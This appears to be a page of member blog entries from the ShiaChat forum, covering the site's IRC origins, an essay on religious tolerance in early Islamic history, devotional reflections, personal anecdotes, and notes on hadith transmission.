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    The Story of ShiaChat.com - The IRC (#Shia) Days!

    By Ali

    [This will be a series of blog entries on the history of ShiaChat.com; how it was founded, major ups and down, politics and issues behind running such a site and of course, the drama!  I will also provide some feedback on development efforts, new features and future goals and objectives] Part 1 - The IRC (#Shia) Days! Sit children, gather around and let me speak to you of tales of times before there was ever high-speed Internet, Wi-Fi, YouTube or Facebook; a time when the Internet was a much different place and 15 year old me was still trying to make sense of it all.  In the 90s, the Internet was a very different place; no social media, no video streaming and downloading an image used to take anywhere from 5-10 minutes depending on how fast your 14.4k monster-sized dial up modem was.  Of course you also had to be lucky enough for your mom to have the common courtesy not to disconnect you when you’re in the middle of a session; that is if you were privileged enough to have Internet at home and not have to spend hours at school or libraries, or looking for AOL discs with 30 hour free trials..(Breathe... breathe... breathe) -  I digress. Back in 1998 when Google was still a little computer sitting in Larry Page and Sergey Brin’s basement, I was engaged in armchair jihadi-like debates with our Sunni brothers on an IRC channel called #Shia.  (Ok, a side note here for all you little pups.  This is not read as Hashtag Shia, the correct way of reading this is “Channel Shia”.  The “Hash tag” was a much cooler thing back in the day than the way you young’uns use it today). For those of you who don’t know what IRC was (or is... as it still exists), it stands for Internet Relay Chat, which are servers available that you could host chat rooms in and connect through a client.  It was like the Wild West where anyone can go and “found” their own channel (chat room), become an operator and reign down their god-like dictator powers upon the minions that were to join as member of their chat room.  Luckily, #Shia had already been established for a few years before by a couple of brothers I met from Toronto, Canada (Hussain A. and Mohammed H.).  Young and eager, I quickly rose up the ranks to become a moderator (@Ali) and the chatroom quickly became an important part of my adolescent years.  I learned everything I knew from that channel and met some of the most incredible people.  Needless to say, I spent hours and dedicated a good portion of my life on the chatroom; of course the alternate was school and work but that was just boring to a 15 year old. In the 90’s, creating a website was just starting to be cool so I volunteered to create a website for #Shia to advertise our services, who we are, what we do as well as have a list of moderators and administrators that have volunteered to maintain #Shia.  As a result, #Shia’s first website was hosted on a friend’s server under the URL http://786-110.co.uk/shia/ - yes, ShiaChat.com as a domain did not exist yet – was too expensive for my taste so we piggy backed on one of our member’s servers and domain name. The channel quickly became popular, so popular that we sometimes outnumbered our nemesis, #Islam.  As a result, our moderator team was growing as well and we needed a website with an application that would help us manage our chatroom in a more efficient style.  Being a global channel, it was very hard to do “shift transfers” and knowledge transfers between moderators as the typical nature of a chatroom is the fact that when a word is typed, its posted and its gone after a few seconds – this quickly became a pain point for us trying to maintain a list of offenders to keep an eye out for and have it all maintained in a historical, easily accessible way. A thought occurred to me.  Why not start a “forum” for the moderators to use?  The concept of “forums” or discussion boards was new to the Internet – it was the seed of what we call social media today.  The concept of having a chat-style discussion be forever hosted online and be available for everyone to view and respond to at anytime from anywhere was extremely well welcomed by the Internet users.  I don’t recall what software or service I initially used to set that forum up, but I did – with absolutely no knowledge that the forum I just setup was a tiny little acorn that would one day be the oak tree that is ShiaChat.com. [More to follow, Part 2..] So who here is still around from the good old #Shia IRC days?      
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    [This will be a series of blog entries on the history of ShiaChat.com; how it was founded, major ups and down, politics and issues behind running such a site and of course, the drama!  I will also provide some feedback on development efforts, new features and future goals and objectives]

    Part 1 - The IRC (#Shia) Days!

    Sit children, gather around and let me speak to you of tales of times before there was ever high-speed Internet, Wi-Fi, YouTube or Facebook; a time when the Internet was a much different place and 15 year old me was still trying to make sense of it all. 

    In the 90s, the Internet was a very different place; no social media, no video streaming and downloading an image used to take anywhere from 5-10 minutes depending on how fast your 14.4k monster-sized dial up modem was.  Of course you also had to be lucky enough for your mom to have the common courtesy not to disconnect you when you’re in the middle of a session; that is if you were privileged enough to have Internet at home and not have to spend hours at school or libraries, or looking for AOL discs with 30 hour free trials..(Breathe... breathe... breathe) -  I digress.

    Back in 1998 when Google was still a little computer sitting in Larry Page and Sergey Brin’s basement, I was engaged in armchair jihadi-like debates with our Sunni brothers on an IRC channel called #Shia.  (Ok, a side note here for all you little pups.  This is not read as Hashtag Shia, the correct way of reading this is “Channel Shia”.  The “Hash tag” was a much cooler thing back in the day than the way you young’uns use it today).

    For those of you who don’t know what IRC was (or is... as it still exists), it stands for Internet Relay Chat, which are servers available that you could host chat rooms in and connect through a client.  It was like the Wild West where anyone can go and “found” their own channel (chat room), become an operator and reign down their god-like dictator powers upon the minions that were to join as member of their chat room.  Luckily, #Shia had already been established for a few years before by a couple of brothers I met from Toronto, Canada (Hussain A. and Mohammed H.).  Young and eager, I quickly rose up the ranks to become a moderator (@Ali) and the chatroom quickly became an important part of my adolescent years.  I learned everything I knew from that channel and met some of the most incredible people.  Needless to say, I spent hours and dedicated a good portion of my life on the chatroom; of course the alternate was school and work but that was just boring to a 15 year old.

    In the 90’s, creating a website was just starting to be cool so I volunteered to create a website for #Shia to advertise our services, who we are, what we do as well as have a list of moderators and administrators that have volunteered to maintain #Shia.  As a result, #Shia’s first website was hosted on a friend’s server under the URL http://786-110.co.uk/shia/ - yes, ShiaChat.com as a domain did not exist yet – was too expensive for my taste so we piggy backed on one of our member’s servers and domain name.

    The channel quickly became popular, so popular that we sometimes outnumbered our nemesis, #Islam.  As a result, our moderator team was growing as well and we needed a website with an application that would help us manage our chatroom in a more efficient style.  Being a global channel, it was very hard to do “shift transfers” and knowledge transfers between moderators as the typical nature of a chatroom is the fact that when a word is typed, its posted and its gone after a few seconds – this quickly became a pain point for us trying to maintain a list of offenders to keep an eye out for and have it all maintained in a historical, easily accessible way.

    A thought occurred to me.  Why not start a “forum” for the moderators to use?  The concept of “forums” or discussion boards was new to the Internet – it was the seed of what we call social media today.  The concept of having a chat-style discussion be forever hosted online and be available for everyone to view and respond to at anytime from anywhere was extremely well welcomed by the Internet users.  I don’t recall what software or service I initially used to set that forum up, but I did – with absolutely no knowledge that the forum I just setup was a tiny little acorn that would one day be the oak tree that is ShiaChat.com.

    [More to follow, Part 2..]

    So who here is still around from the good old #Shia IRC days?

     

     

     

  1. بسم الله الرحمن الرحيم

               

                Not only is Islam the second-largest religion in the world, but it is the world’s fastest growing religion. With globalization and the influx of Muslim immigration to the West, many people are reluctantly meeting Muslims for the first time. Fear of the unknown is common, but that fear is constantly perpetuated by images of violence in the Muslim world. As a visible minority with little political leverage, the Muslim community is an easy target for xenophobes, warmongers, and nationalists. The Muslim world is the needed bogeyman for the military-industrial complex, private security companies, and isolationist politicians to thrive. Rather than trying to understand the complex imperial and economic variables that cause violence in the Muslim world, it is both simpler and more cunning to resort to generalized arguments about Islam. This view, however, overlooks the many scientific and philosophical contributions Muslims have made to Western civilization. More importantly, it distorts the reality of the Muslim civilization’s mostly-tolerant history. The centuries-old narrative that Islam was “spread by the sword” is still popular today, and it causes Muslims living in the West to be looked at as a suspicious Trojan horse waiting to Islamize the world. It is therefore necessary for us to deconstruct this worldview. This paper will briefly explore the rise and expansion of Islam, and demonstrate that tolerance and plurality were founding principles of Islamic ethics.

                Since the early days of the Prophet Muhammad’s ministry, Islam’s relationship with non-Muslim communities has been notable. Shortly after the Muslim migration to Medina (then known as Yathrib) in 622 CE, the Prophet drafted the Constitution of Medina. This charter put an end to tribal infighting in Medina, created a new judicial system, guaranteed the mutual protection of Muslims and non-Muslims, and established a new “Community of Believers (mu’mineen)”. (Gil, 2004, pp. 21) This community would include the Jewish tribes of Medina, while still recognizing their distinct identity and laws. Although Bernard Lewis claims that the Constitution of Medina was a unilateral proclamation by Muhammad, (Lewis, 1993, pp. 22) Muslim sources generally referred to it as a pact between the Muslims and the Jews following the two pledges at `Aqaba. Furthermore, Wellhausen, a German orientalist, regarded this charter to be a multilateral agreement negotiated between all of the involved groups. (Gil, 2004, pp. 22)

                The Prophet Muhammad also ratified writs of protection to other communities. The Ashtiname of Muhammad, which was written by `Ali b. Abi Talib upon the commission of Muhammad, granted privileges to the Christian monks of St. Catherine’s Monastery in Egypt. (Ratliff, 2012, pp. 63) The document guarantees that Christians are not to be overtaxed, plundered, disturbed, or coerced into marriages. (Morrow, 2013) These covenants demonstrate that the Prophet pursued a peaceful and tolerant coexistence with other communities, and made his followers accountable to ethical principles of justice.            

    The Prophet Muhammad very plainly stressed the equality of all people, regardless of tribe, colour, class, or ethnicity. While rights differed among subgroups of society, the Islamic civilization held no concept of the natural subordination of individuals or groups. (Hamid, 1982, pp. 127) Conversion to Islam only required a simple declaration of faith, while becoming a member of the ancient Greek polity was only possible for Greek male property owners. (Hamid, 1982, pp. 127)  The egalitarianism of the Quranic message was attractive to many who sought social refuge from the caste system and other forms of subordination. (Eaton, 1992, pp. 117)

    The Caliphate’s medieval conquests, which occurred after the Prophet Muhammad, are the main source of agitation among those suspicious of Muslims. It should be noted that `Ali b. Abi Talib, who is considered the rightful successor to Muhammad by Shia Muslims, refrained from taking part in these conquests, despite being renowned as a great warrior. There should be no doubt that there were incidents that occurred during early expansion that are not in line with the teachings of the Prophet, especially during the ridda wars and the Battle of `Ulays. The Shia Imams consistently held the Caliphate accountable during mistrials and in moments of nepotism; and they struggled to establish social and economic justice in the Muslim world. But, the frame that the Islamic conquests were wholly or mostly negative is a Eurocentric view that does not account for other pieces of the puzzle.

                Many ancient texts document extensive Judeo-Christian support for the Muslim conquests of Byzantium and Persia. Jews in the Levant had expected a redeemer who would deliver them from the Roman occupiers. (Crone, 1977, pp. 3-6) The Romans had destroyed the Jerusalem Temple in 134 CE, outlawed Jews from living within ten miles of Jerusalem, disbanded the Jewish high court, taxed the Jews heavily, and persecuted them for siding with the Persians. This torment ignited a messianic fervour among medieval Jews, leading to a widespread anticipation of a saviour. One of the earliest non-Muslim references to the rise of Islam is the Doctrina Jacobi, a Greek Christian anti-Jewish polemical text written in 634 CE, just two years after the passing of Prophet Muhammad. The text describes “overjoyed” Jews celebrating the Muslim arrival in Byzantium. (Crone, 1977, pp. 3) Moreover, The Secrets of Simon ben Yohai, a Jewish apocalyptic text written between the seventh and eighth centuries CE, tells of the emergence of an Ishmaelite “prophet according to God’s will” who would save the Jewish people from their oppressors. (Crone, 1977, pp. 4-5)

    The Islamic conquest of the Levant would restore Jewish access to Jerusalem and establish a polity that would include Muslims, Christians, and Jews alike. The Pact of Umar II, a writ of protection extended by `Umar b. `Abd al-`Aziz in the seventh century, promised safety and the right to worship to Jews, Christians, and Zoroastrians in exchange for the payment of the poll tax (jizya). (Berger, 2006, pp. 88) While some orientalists have criticized the Pact’s prohibition on riding horses, Muslim clothing and building high structures, these stipulations may have been placed to prevent insurrections against Muslim garrisons, rather than to humiliate or subordinate non-Muslims.

                The Muslim treatment of non-Muslims was similarly commended by Near Eastern Christians. John bar Penkaye, an East Syriac Nestorian writer of the late seventh century, praised the Muslim overthrow of the Sassanid dynasty. In his Summary of World History, he writes, “We should not think of the advent [of the children of Hagar] as something ordinary, but as due to divine working. Before calling them, [God] had prepared them beforehand to hold Christians in honour, thus they also had a special commandment from God concerning our monastic station, that they should hold it in honour … God put victory in their hands.” (Pearse) This early Christian account documents the just conduct of Muslim rulers, likening it to divine intervention. Furthermore, after the Byzantines had seized control of Egypt and put the Coptic Patriarch Benjamin I of Alexandria into exile, the Muslim conquerors restored Benjamin I’s authority and brought order to the affairs of the Coptic Church.

    Many cultures were drawn to Islam’s magnetic social appeal. Indonesia, which is the country with the highest population of Muslims, encountered Arab merchants in the thirteenth century. Along with the arrival of Muslim commercialism, Islamic stories and symbols were introduced to the population through traditional wayang puppet shows. (Hamish, 2011, pp. 46-51) In the Indian subcontinent, Islam provided social mobility to lower castes, giving people equal rights and freeing them from total subservience to the Brahmans. The transformative power of Sufism was also attractive to many Hindus who sought ascetic, mystical brotherhoods. (Lapidus, 1988, pp. 363) Sufi and Shia saints continue to be revered by Hindu and Sikh poets in India.

    Although the Muslim empires had a tumultuous relationship with European Christians over the centuries, sizable Christian and Jewish communities with ancient origins continued to thrive in the Muslim world. Moorish and Ottoman confrontations with Christendom have propelled the misconception that Islam was spread by the sword. The fact is, however, that the conversion of the Near East to Islam occurred very gradually. By 800 CE, only 18% of Iraq’s population was Muslim. (Brown, 2016) Furthermore, Egypt, Spain, and the Levant did not attain a Muslim majority until the eleventh century. (Brown 2016) This means that the Muslims were a minority in the heartlands of their own civilization for hundreds of years. While poll taxes and other social pressures certainly promoted conversion to Islam, ancient churches, synagogues, temples, and other relics were maintained. Judeo-Christian populations even had rights to printing presses and European books in the Ottoman Empire – a privilege rarely granted to Muslims. (Brown, 2016) 14% of the Middle East remained Christian by 1910, with significant populations in Syria, Palestine and Egypt. (Brown, 2016)

    On the other hand, Christendom had a relatively poor record with minorities. Although Iberia was mostly Muslim in the fifteenth century, all Muslims were expelled or forced to convert to Christianity in 1526. (Brown, 2016) In 1609, 3-4% of Spain’s population consisted of Christian descendants of Muslims, who were also expelled under King Philip the Third. Anti-Jewish pogroms were also common in pre and post-Enlightenment European history. While there are many ancient Christian communities in the Muslim world, there are practically no ancient Muslim communities in the Christian world, despite Islam’s long history in Spain, Portugal, Sicily, and Eastern Europe.

                In recent decades, the Muslim world’s relationship with its non-Muslim minority communities has suffered. Colonialism, neo-imperialism, military dictatorships, and poor economies have sometimes caused the alienation and scapegoating of ethnic and religious minorities in the Muslim world. In June 2014, the so-called Islamic State of Iraq and the Levant (ISIL), which rose out of the destabilization of Iraq and Syria, routed Christians out of Mosul. This genocide marked the end of over a thousand years of continuous Muslim-Christian coexistence in the region. While ISIL’s actions are a black mark on modern Islamic history, ISIL’s main military and ideological opponents are other Muslims in the region and around the world. This paper demonstrates that normative Islam seeks unity under common ethical principles. It is vital for Muslims to revive an equitable, pluralistic and tolerant worldview, not just because diversity is strength, but because it is the ethos of our civilization.           

     

    Bibliography

    Berger, Julia Phillips., and Sue Parker. Gerson. Teaching Jewish History. Springfield, NJ: A.R.E. Pub., 2006. Print.

    Pearse, John Bar Penkaye, Summary of World History (Rish Melle) (2010). N.p., n.d. Web. 9 July 2016.

    Crone, Patricia, and Michael Cook. Hagarism: The Making of the Islamic World. Cambridge: Cambridge UP, 1977. Print.

    Http://www.youtube.com/channel/UC4L23Z_agh1qeV_odQfV6Vg. "Dr. Jonathan AC Brown - The Message of Peace Spread by the Sword - UMaine IAW 2016." YouTube. YouTube, 2016. Web. 9 July 2016.

    Eaton, Richard Maxwell. The Rise of Islam and the Bengal Frontier, 1204-1760. Berkeley: U of California, 1993. Print.

    Gil, Moshe, and David Strassler. Jews in Islamic Countries in the Middle Ages. Leiden: Brill, 2004. Print.

    Harnish, David D., and Anne K. Rasmussen. Divine Inspirations: Music and Islam in Indonesia. New York: Oxford UP, 2011. Print.

    Lapidus, Ira M. A History of Islamic Societies. Cambridge: Cambridge UP, 1988. Print

    Lewis, Bernard. The Arabs in History. Oxford: Oxford UP, 1993. Print.

    Morrow, John A. The Covenants of the Prophet Muhammad with the Christians of the World. N.p.: n.p., n.d. Print.

    Ratliff, Brandie, and Helen C. Evans. Byzantium and Islam: Age of Transition, 7th-9th Century. New York, NY: Metropolitan Museum of Art, 2012. Print.

    ʻInāyat, Ḥamīd. Modern Islamic Political Thought. Austin: U of Texas, 1982. Print.

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    Click on the Blogs tab at the top of the homepage. 
    Click on the button that says "Create a blog." 
    Fill in the special title name for your blog, and click the "Continue" button. Your blog is ready!
    Click on "Add blog entry" to write your first blog post, and save it by clicking "Submit entry." 
    The next time you want to create a new blog post, do not create a new blog. Members are only allowed to create one blog. When you are in your own blog, click on the button that says "Add Blog Entry." 

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    Gham E Hussain is when you wake up in the morning thinking, how the AhlulBayt (A.S) must have slept in Karbala.

    Gham E Hussain is when you think that how they must have done their Wuzu to pray Salatul Fajr without water.

    Gham E Hussain is when you sit for breakfast you get tears in your eyes thinking how did the AhlulBayt (A.S.) survive the entire 3 days without food.

    Gham E Hussain is when you dress up for work and you are wearing your ornaments and you remember how they were snatched from Sakina (A.S.) how she must have cried in pain.

    Gham E Hussain is when you wear your hijab and you get tears thinking how did Bibi Zainab (A.S.) go to Shaam without it.

    Gham E Hussain is when you drop your child to school and think, how did Banu (A.S.) sleep that night without her children.

    Gham E Hussain is when you look at your husband and think, how did Sakina (A.S.) bear the separation from her husband just some minutes after her wedding.

    Gham E Hussain doesn’t come only by sitting in majlis, it comes from within you, it comes from your heart.

    Gham E Hussain happens everyday, I repeat, every single day.

    Labbaik Ya Hussain (A.S.)

    -In5iyahA

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    In the mornings, especially on weekends, we prefer to have a light breakfast. At such times, our favourite option is to buy idlis from the local idli-wale "uncle".

    The idlis are of an average, and sometimes above-average, quality. Not too great, not bad either.

    However, the more than the idlis, the more fulfilling task is to buy them. Why, do you ask?  Why, it is because of the behaviour of the idli-wale 'uncle', of course.

    There are a number of unwritten rules-

    • The customer has to stand and wait for his eye contact.
    • He will ask in the humblest manner possible- Aapko kya dun? (What would you like). This, he says to everyone, kids and adults alike.
    • The customer is supposed to reciprocate the humility and say what he wishes to have. In my case, I say- 6 idli de dijiye.
    • He will take the 6 idlis and put them in a plastic bag, slowly, but steadily. No customer is supposed to display their impatience. That is how it is supposed to be.

    And then comes the best part.

    Probably one of the most expensive among the ingredients is the copra chutney(Chutney made out of coconut cream). When he pours it into another small plastic bag, he will ask if we need more.  

    If the customer says that he wants more of it, uncle obliges, not grudgingly, but by asking, "is that enough for you?" (Itna chalega?). The customer, based on the Indian customs, is supposed to say "yes" and he/she does that.

    Majority of the customers of the "uncle" are kids and young adults. They follow all the rules of buying idlis from the "uncle". But if someone does not, you will never ever see the "uncle" lose patience. I have never seen him shout, get angry or say anything negative.

    Just a day ago, one of the workers (I think he must be a relative), got a dosa stuck on the frying pan. Not because of his fault, but probably due to some issue with the heat, I am not sure. I heard not a single word of reprimand, negativity or any indication of anger or loss. I offered to buy the 'broken' dosa(because the dosa was still edible and I knew that uncle would give it to me at a cheaper rate and I love dosas), but he refused stating that they will eat it and make another one for the waiting 'patient' customer. Uncle was more concerned about the customer's wait time, than he was of the loss of the dosa. 

    The "uncle" is quite old- over 60. One of his children, who helps him, I have seen him regularly perform wudhu, even when it is not namaz time.

    It is no wonder then that I regularly ask my household, if they wish to have idlis for breakfast.

    The behaviour of the uncle refreshes my faith in God SWT and in humanity. May God SWT shower his blessings on the "uncle" and his family and keep/put them onto the straight path.

  2. I thought I should get this entry going today, although I'll need to add the substantive content later.

    The reason why the post is being made today is because it's the 100th birthday of I.M. Pei, the Chinese-American architect behind the pyramid in the middle of the Louvre museum in Paris. The pyramid was constructed in the late 1980s and at the time Pei faced intense criticism for his bold and controversial design. Since then the pyramid has become accepted and even admired.

    I suppose you can guess that this post is heading in the direction of considering great art, innovation and religions and their relationship with public opinion.

  3. So how’s this whole 21st century thing coming along? Yeah.

    With the passage of time, each new era is forced to carry a higher burden and inherit a larger legacy than the generation before. Time is a double edged sword. On one end, more time can expand the opportunity to build constructive relationships, goodwill, positive institutions, and human progress. Conversely, time can serve to widen the accumulation of baggage, knot tighter the machinations of deceit and derision, and aid in the solidification of deviant ideologies, perverse mythologies, and exploitative institutions. In this regard, time is an empty canvas waiting to be marked by any paintbrush, big or small, with whatever paint along the way. 

    Paint is the (im)moral force that gives purpose and relevancy to this big and blank amoral whiteboard known as time. Paint comes in many colors, and can create many designs. Some are beautiful, enhance the surrounding landscape, and work synergistically with other designs, creating a diverse, but single hearted masterpiece. Other paints give ugly imprints, ones that impose themselves unapologetically, have no concern for the holistic creative vision, and serve as an unwelcome blemish. For those who believe in the holy and natural, we know the righteous paints will never tarnish, while the awful ones will water down and fade in their own impurities. 

    So what’s the 21st century portrait looking like? If time is an ever increasing size canvas, yet more paint has been plastered era after era at a much higher proportion, is there anything left for us to put? Anything we can add, or are we simply overwhelmed handling what’s already been dried on? I think the latter is the case. This is our destiny and burden. Our mission will not be to make history, but rather detoxify and realign what’s been accumulated - the human, economic, social, political, environmental, ideological…and all the rest. To redirect towards a proper moral direction. To clean up the mess of our dead ancestors. To not give birth, but to raise what’s been born. 

    We are being helped by science and technology, growing at a faster pace than ever before. We are helped by a huge explosion in the information sector, ease of travel and communication, and a range of logistical conveniences. We can interpret these things as proof of human accomplishment, but more importantly I would humbly call it a gift from above - to help aid us with our mission, as if our creator knows what we need. Divine guidance and support!

    All of us were chosen and raised in a certain time period for a reason, only known to our creator. We shouldn’t let ourselves get wrapped up in self-importance or arrogance about this. Are we “better” or just “different” than those in other times? I don’t think we have the time to worry about such a question. 

    References to war are rife throughout history, and that’s the case here. Specifically, the concept of “total war”, where every resource down to the minute is involved in the effort. In today’s case, every capital resource - the community, personal, psychological, technological - are essential for our mission, and no individual is beyond the scope of relevance and suitability. We have no choice but to go “all in”, and nothing can be held back, if we want any chance of success of a dignified outcome. 

    So this affects me of course, because it instantly puts me on notice. What can I clean up? What micro changes can I contribute, throw in the pot, to help with the macro efforts? The degree of inward digging should hopefully correlate to outward action. I am proud of living in this era, because it gives me an incentive for spiritual and personal re-examination. 

    What do you guys think?

     

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    For a long time, I enjoyed one specific aspect of religion which I considered the biggest treasufe of those who are devout: faith. An inquestiomable faith that won't allow doubt and fear to strike and shake our lives. When accepted religion, I understood faith as some sort of inner space in which you can grab energy and strength when you most need it. Without it, one searches for strength in the wrong sources (either in needing people, either in needing drugs, etc.). Faith allows our mind to gain strength from it when we need it, without requiring any external help. Reminds me much of the "Reconfiguring Happy" blog entry that Haji posted recently (great one imo).

    However, there is need for doubt. And that is one thing many atheists can't even think of when trying to understand why the truths of religion seem to be hidden. Because it is in doubt when we are alert, and it is in doubt where faith becomes a valuable characteristic in people. It is in doubt where those who mantain firmly in the straight path will reach their original goal and not deviate.

    Indeed, faith is required to know and stay in the right path. But doubt is also required to stay alert and value faith in ourselves more than anything else. The doubt not precisely about religion, but about what is decreed, about our fate. The biggest mistakes I have sadly committed and for which I can't explain with words how much I repent came not because of lack of faith, but lack of doubt, because I wasn't alert. But we tend to be like this. When money, health and our people are with us, we stop caring, we go on some sort of stand-by mode, and our faith isn't actively playing an important role in our faith. Think of it as a muscle that if not used ends up getting smaller and smaller,unable to work correctly when required. The cruelest moments of my life, which affected me in those three aspects (poverty, fear from being seropositive, and the separation of my parents) stroke me in such a way I really expected nothing but the worst type of life for me. But staying in the right path when doubt appears, even when we lose our hope, even when we blame God for everything we have lived, even when our cries fade in vain, even when we forget the count of our tears... is a manifestation of self love to what we used to be one day, to what we originally are. I really miss everything, absolutely all the good things I had, but farewells are required, and it is better to say farewell through God rememberance than getting deceived by doubt, as that will only drive us to depression, drinking alcohol, taking drugs, or whatever decadent choice we end up taking (which will only make it worse).

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    saudi-al-nimr.jpg

    More and more people are asking about if the holy warrior, "Ayatollah Sheikh Nimr Al Nimr" was the "Nafse Zaki" as prescibed in the prophecies of return of Imam Mahdi a.s (May Allah hasten his reappearance).

    To help out your curious mind. You'll witness the riwayats and hadiths related to "Nafse Zaki - Pure Soul".

     

    Note: Before reading below, beware that the signs of reappearance isn't explicitly the result for the return of the Imam Mahdi a.s except the 5 that are obligatory.

     

    1. On the 25th Zil-Hijjah the announcement will be made and the announcer killed (This is the blood of Nafse Zakiyya - pure soul, those whose blood will touch the Ka'ba and who is mentioned in numerous prophecies).

    2. His blood will be avenged 2 weeks later when Imam(a.s.) will appear himself at the Ka'ba.

    3. In the 13th volume of Bihar-ul-Anwar, Imam Al-Baqir(a.s.) is quoted as saying that "The Qaim (Imam Al-Mahdi(a.s.)) will send one of his companions to Makka and will ask him to inform them that I'm sent by so-and-so to you and that we are the merciful Ahlul-Bayt and the Store-house of 'Risalat' (religious guidance) and 'Khilafat' and we are the progeny of Muhammad(pbuh&hf) and from the time that the Prophet of Islam(pbuh&hf) left this world until now, we've been oppressed and deprived and our rights have been usurped. So we call you to befriend us. When that young man will utter these words, he will be caught and beheaded between 'Rukn' and 'madam' (in Masjidul Haram) and this young man is the 'Nafse Zaki'.......... And between the death of the 'Nafse Zaki' and the re-appearance of Imam Al-Mahdi (A.S.) there will not be a gap of fifteen nights".

    4. Nafs-e-Zakiyyah is a person by the name of Muhammad ibn al-Hasan (Allama Majlisi. Bihar al-Anwar 52)

    5. He is a descendant of Husayn ibn Ali (Allama Majlisi. Bihar al-Anwar 52)

    6. Duty of Nafs-e-Zakiyyah is mentioned in a hadith that narrated by Abu-Basir from Muhammad al-Baqir. According to the hadith when Muhammad al-Mahdi realizes, people of Mecca don't accept his reappearance. Therefore, he will send Nafs-e-Zakiyyah as an envoy to convey his oral message to people of Mecca (Majlisi, Muhammad Baqir. Bihar al-Anwar 52. p. 307)

    7. He will be slayed by people of Mecca around the Ka'ba after impart Imam's message to them. (Hashemi Shahidi, Seyyed Asadullah. Introduce of promised person. Jamkaran Mosque Publication. p. 524.)

    8. It will rise from the west; a pure soul (nafs zakiyya) will be killed in the outskirts of Kufa with seventy righteous men; a Hashimite will be slaughtered between the corner (of the Ka'ba) and the station of Abraham)

    9. As well, before the advent of the Imam, a noble person will be killed during the Hajj rites in Makkah. In the traditions, this person has been referred to as the Pure Soul or an-Nafs al-Zakiyyah.

    10. Upon the death of Nafs-e-Zakiyya, a voice will resonate from the skies declaring, “Be aware that your ruler is the Mahdi who shall fill the earth with truth and justice.” (Eqdud-Durar) (http://www.islamicinsights.com/religion/signs-of-the-return.html)

    11. Five signs will be seen before the uprising of the Qaim: Arrival of the Yemenite man, Sufyani, Call from the sky, Sinking of the ground in Baidha desert and Killing of the Pure Soul (Nafse Zakiyyah).”

    12. (Bihar Al Anwar Vol-51-52-53-( the-Promised-Mahdi-English v 13 -Translation ) Chapter Thirty book II, Ikmaaluddin- Shaykh Saduq)

    13. After that Imam Mahdi (a.s.) would arise and his standard would be held by Shuaib bin Salih. When Syrians realize that their country has come under the rule of the descendant of Abu Sufyan they would go to Mecca. Nafse Zakiyyah and his brother would be killed at that time.

    14. Nafse Zakiyyah (the pure soul) is a young man from the Progeny of Muhammad (s.a.w.s.), his name is Muhammad bin Hasan, who would be killed without any crime and sin and when they slay, him they shall neither have any excuse in the heavens nor would they have any friend in the earth. At that time the Almighty Allah will send the Qaim of Aale Muhammad with a group that in the view of the people would be softer than antimony.

    15. Imam Ja'far Sadiq (a.s.) said: And mutual discord in Bani so-and-so is inevitable, killing of Nafse Zakiyya is inevitable and the rising of Imam Qaim is also inevitable.

    16. "When Nafse Zakiyyah (pure person) will be killed, a voice from the sky will declare, ‘Your leader is so and so!’ Then Mahdi will rise and will fill the earth with justice and equity." (Ammare Yasir)

     

    Summarizing the Ahadith/Riwayats mentioned above:

    1. There are 2 nafs-e-Zakiyya mentioned in the riwayats i.e one would be killed in Kufa (Iraq) and the other would be killed in Saudi (Hijaz)

    2. The Nafs-e-Zakiyya is not a name but a nick name meaning (A pure soul).

    3. Nafs-e-Zakiyya name would be "Muhammad ibn al-Hasan"

    4. Killing of Nafs-e-Zakiyya is among the 5 major signs of reappearance of the Imam Mahdi a.s

    5. He would be Syed Hashmi (from the progeny of Prophet Mohammad s.a) (Ayatollah Nimr is not a Syed but a Sheikh)

    6. Nafs-e-Zakiyaa would call upon people to introduce the Ahlulbayt but he would be killed for this.

    7. Imam Mahdi a.s would rise right after 15 days of killing of Nafs-e-Zakiya.

     

    I've collected the above Signs from several websites. Thus the Ahadith mentioned may be Sahih or Zaieef (Strong or weak respectively) 

    Hope you would conclude it on your own.

  4. Original full post: http://www.iqraonline.net/the-transfer-of-kufas-hadith-heritage-to-qom-history-of-imami-shii-theology-5/

    During the Imamate of Imam Baqir (s) and Sadiq (s), there was a lot of encouragement from the Imams to their students and companions to begin recording down traditions. As this shift from oral to a written tradition became a culture amongst them, there was naturally a large output of written works over the next century. Kufa being the hub for Shi’i activity naturally possessed the most written works at the time.

    As scholars from Qom would initially travel to Kufa to acquire traditions of the Imams from the various scholars and companions that resided there, the tables would eventually turn as Kufa’s scholarly circles began to diminish and its heritage began being transferred to Qom. Scholars who played a role in transferring this heritage to Qom include personalities such as Muhammad bin Khalid al-Barqi, Husayn bin Sa’eed al-Ahwazi, Ahmad bin Muhammad bin ‘Isa al-Ash’ari, Ibrahim bin Hashim and others. To analyze this phenomenon in a little more detail, bibliographical works are utilized to see how books were being moved around from one place to another.[1]

    Muhammad bin Khalid al-Barqi and his son Ahmad bin Muhammad al-Barqi are two other individuals who played a role in this transfer. Most of their teachers appear to be from Kufa, whereas their students appear to be from Qom. Both father and son also seem to have traveled to Kufa like Ahmad bin Muhammad al-Ash’ari and tooks narrations from there and then returned back to Qom to transmit them. Muhammad bin Khalid al-Barqi seems to be the earliest person to have brought over some of the Kufan hadith heritage to Qom. However, he does not seem to have very cautious in who he would take narrations from and was accused of even narrating from weak narrators.[2] There are also hardly any traditions that he narrates from reliable scholars such as Hasan bin Mahbub or Ibn Abi ‘Umayr. This eventually even leads to Ahmad bin Muhammad al-Ash’ari (the next scholar) exiling Muhammad al-Barqi out of Qom.

    Ahmad bin Muhammad bin ‘Isa al-Ash’ari who was one of the greatest scholars of Qom during his time, played a great role in bringing over the Kufan heritage by traveling to Kufa himself. Some of the works that he was able to bring back to Qom with himself were the book of ‘Ala bin Zarin, Aban bin ‘Uthman al-Ahmar, Ahmad bin Muhammad bin Abi Nasr al-Bazanti, Hasan bin Mahbub al-Kufi, Hasan bin ‘Ali bin Fadhdhal, Safwan bin Yahya al-Bajali, ‘Abdul Rahman bin Abi Najran, ‘Ali bin Hadid al-Mada’ini, Ibn Abi ‘Umayr, Muhammad bin Ismail bin Bazi’, and Muhammad bin Sinan Zahiri.

    What is of interest here is that the books Ahmad was bringing with him were those that were famous, well-known and reliable works within Shi’i scholarly circles. This indicates that Ahmad was very cautious of the narrations he accepted and transmitted, and we see this translating into him exiling many narrators from Qom (like the aforementioned al-Barqi) who he found to be narrating from weak narrators.

